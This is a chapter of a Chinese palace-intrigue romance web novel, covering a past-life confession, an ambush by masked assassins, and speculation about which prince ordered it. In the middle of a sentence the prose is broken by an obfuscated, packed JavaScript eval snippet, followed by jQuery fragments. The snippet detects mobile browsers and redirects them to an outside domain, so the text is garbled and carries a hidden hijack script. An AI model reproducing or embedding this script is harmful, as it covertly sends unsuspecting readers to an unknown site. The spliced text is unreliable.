日光渐淡,原本的金砖碧瓦也变得柔和,少女第一次与人吐露前世发生的一切。
尽管她说的足够轻描淡写,周言卿的手还是不自觉地收紧,似乎自己的心声也被人插了一刀。
“很疼吧?”
司言茉不忍看他担心,便草草说道:“还好,已经不记得了。”
周言卿当然清楚她的隐瞒。她最怕疼了,就那样被人活活剖心,自己的血顺着自己的身子,从胸口流到脚趾尖,感受自己生命的抽离。
怎么会不疼呢?又如何淡忘?
他越听,眼眶越红。
司言茉用一年时间把自己从一个不谙世事的小孩子变成漠漓,就已经够不容易了。
如今听了这些,他只觉得上天不公,为何要将这么多的苦难都降临在他的阿茉身上。
他鼻头有些发酸,将头埋在爱人的颈间,“阿茉,我上辈子就该找到你的。”
见他如此,司言茉只好玩笑着安慰他,“那可不对,按照命格,上辈子你我应当是一天死的,就算当初是我和你成婚,我什么都不会,你死了,我还是要陪葬。”
“你的意思是我们横竖逃不过一死了。”周言卿松开抱着她的手,刮了一下她的鼻子,也笑了。
“那是前世,今生不会了。”女人的声音坚定,带着希望,“这一世我们都要好好活。”
“嗯,好好活。”周言卿轻轻捏了捏她的手,抬眸的那一刻,眼底的柔情几乎要溢出来。
他这双眼睛还挺好看的……
司言茉这么想着,鬼使神差般抬起手,抚上男人的眉眼。
周言卿被她这突如其来的动作弄得呼吸一滞,轻轻抓住她的手腕,在女孩略显惊讶的眼神中俯下身去……
就在那唇瓣即将相贴时,一只飞镖突然射了过来,周言卿眼疾手快,大手捞过司言茉的腰,躲了过去。
然而这似乎只是预警,一群蒙面人从两侧的屋檐处飞身而下,将两人团团围住。
“光天化日,你们还真是活的不耐烦了。”周言卿迅速抽出腰间长剑,另一手护住司言茉,侧目交代:“跟住我。”
司言茉却从裙下抽出一把匕首,“师傅,这回我知道武试是干嘛用的了。”
话音刚落,蒙面人也不再浪费时间,一个接一个的冲上来,宛如离弦的羽箭。
司言茉这边虽只有他们二人,但好在周言卿身经百战,以攻为守,司言茉只要保证自己不拖后腿就好。
只是没想到这蒙面人好像不止有这一批,竟是越打越多。
中院的声响越闹越大,酒楼内的林娘也听到了动静,推开窗看到眼前的一幕,迅速叫自己的护卫去帮忙,自己也提了一把剑顺着窗户飞身而下加入其中。
很快,蒙面人被一一制服,就在周言卿抓住一个准备审问时,那人却口吐白沫,周围的人也跟着一个个暴毙。
“这到底是怎么回事?”
司言茉握着匕首的手不禁有些发抖,这些天她遇到太多事了,刚抓到一个檀牧禾又有人要来杀他们,这背后到底有多少人牵扯进来……
这时,林娘抓起蒙面人的手,在指甲间找到少量毒药。
“棕褐色,”她嗅了嗅,“有些络邑子的味道,应该是皇室给死侍的常用药,给他们自杀的。”
“皇室?”司言茉顿觉不妙,不会又是周君松,可他们不是已经谈好条件了吗?
大片的乌云追着一骑黑马,一路来到三皇子府上,还在前院修理花枝的司云韵听到声响抬头。
见两人急匆匆地进来,她问:“这是怎么了?”
“姐姐,三殿下呢?”
“已经启程去萨克了啊?”
司云韵被她问得有些发懵,那日不是都说了,秦地这边商户的情况已经调查的差不多了,今日一早周君松就带着侍卫走了。
闻言,司言茉与周言卿对视一眼,对当下的情况也是摸不着头脑。
按理来说那日几人已经说开,就算周君松还有疑虑,也不至于光天化日的派人来刺杀。
这不是周君松的做派。
司言茉犹豫一瞬,和姐姐谈起此事,“姐姐之前应当和那些皇子皇妃打过交道,你觉得会是谁?”
说起这个,司云韵也回忆起嫁给周君松之后的日子。
和前世的司言茉一样,被妾室针对,被五公主时不时的讥讽。
但,司云韵可和妹妹不同,她绝不会任人欺负,每一次都能恰到好处的反击。
现在的林娇儿老老实实不敢僭越,连五公主周曦茹也因为说错话被罚了一个月的禁闭。
不过要是说起谁有可能关注远在千里之外的“漠漓”,她一时也摸不着头脑。
“我只知道在我来这里之前出了一件事。”
周言卿迅速追问:“什么事?”
“是六皇子和九皇子……”
一个月前,六皇子周聪与九皇子周琦甄在学堂起了争执,原本不是什么大事,最多两个人被训一顿,罚去帝古像前跪几个时辰就好了。
偏偏六皇子不知道从哪听到了传言,说是什么九皇子母妃当年并非因病去世,而是冲撞了南后,被南后下毒才死的。
九皇子也是个脑子不灵光的,人家说什么他信什么,竟然自己去找南后对质了。
“结果自然是被南后骂了一顿。”
“可这件事和刺杀的人有什么关系吗?”司言茉并未听出什么始末。。
“我要说的就是这个!”司云韵抿了抿唇,继续道,“我本以为她要么骂一顿就好了,要么就放弃对九皇子的抚养。可是第二天,陈相卜便算出九皇子意图谋反,还在九皇子的寝宫里搜出了小人。”
司言茉:“那个小人是……”
“南皇。”
司言茉听完几乎是倒吸一口凉气,同时也不免将现有的事联系在一起。
“又是那个相卜?”她看向周言卿,“你觉得他背后的人会是谁?南后吗?”
“不会。”周言卿果断否定了她的想法,“我说过他在当今南皇登机前就是他的心腹了,他背后的人只有可能是南皇。”
“可若是这样九皇子的事就说不通啊,相卜也没必要陷害皇嗣。”
“那你有没有想过,南后自己无子,九皇子寄养在她之下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526792|186333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她还有争夺孀后①的可能,可如果九皇子废了,她就什么都没有了,她为什么要这么做?”
“那你认为是谁?”
周言卿沉思片刻,摇了摇头,“不知道。”
南皇和相卜都没必要,南后更没有可能。
这时,司云韵突然开口,“有没有可能就是六皇子?”
“可陈相卜为什么要帮他?”司言茉蹙眉。
问题一出,气氛再度归于沉默。
此事看似平平无奇,又偏偏与每一件事都有着千丝万缕的关联。
无论是一群可能要争夺皇位的皇子,还是那个唯利是图的相卜陈廷玉,一切让人摸不着头脑,又觉没那么简单。
“他不必帮周聪。”不知过了多久,周言卿的声音打破沉寂,“只需要让他觉得有利可图就行了,毕竟谁的生死都是他一句话的事。”
“所以,你认为第三波人是六皇子?”司言茉问。
“按照现有的人来说,很有可能。”周言卿抬眸,“他一开始和周君松一样,想要拉拢你。后来发现了陈廷玉这人做事的漏洞,选择利用他。那你自然就没用了。”
“没用了还杀我……”
司言茉撇撇嘴,她怎么这么倒霉啊?
他们姓周的都共用一个脑子吗?
得不到就毁掉。
这是什么奇怪的原则?
瞧着女子嗔怒的小脸,周言卿满眼宠溺,牵起她的手,“我说过你现在很危险,所以答应我不要什么事都掺和。”
“知道啦,知道啦,娘亲都没你操的心多……”司言茉无奈又有些不服的瞥了他一眼。
两人可爱的相处落在司云韵的眼里,既开心,又难免有些羡慕。
她和周君松,也许永远不会有这样可以肆无忌惮的时候,哪怕是床笫之间,她也要小心翼翼的防止自己说错话。
周君松会宠着她,但那种宠似乎永远是有条件的,要么是他心情好的时候,要么是她有用的时候。
总之,他们之间永远都不会像司言茉和周言卿这样,完全信任彼此,没有顾忌。
——
乌云遮盖,未进黄昏路上便已经看不清人了。
司言茉和姐姐聊了一会儿,便被周言卿拉着回去。
“要下雨了,我们没带伞……”他话音刚落,这天就仿佛配合他似的淅淅沥沥地下起雨来。
夏日里穿的又少,连个能遮雨的披风都没有,周言卿只好拉着人,往马车里跑。
可两人差着身高,司言茉哪里追得上他的步子,跑得像小孩子刚学会走步似的。
“周言卿,你等等我,跑太快了!”
听了这话,他回头一把将人抱起。雨水落在他的头上,顺着发丝流下,滴在司言茉的泪痣上,晕出一抹红。
周言卿一时忘记挪动脚步。
“走……走啊!”司言茉被他丁的语气有些不自然,拍了拍他,扭过头去。
他这才如梦初醒,将人抱上马车。
等进了马车里头,两人都被淋了个半湿,周言卿却好似感觉不出来一般,迟迟没有松开抱着女人的手。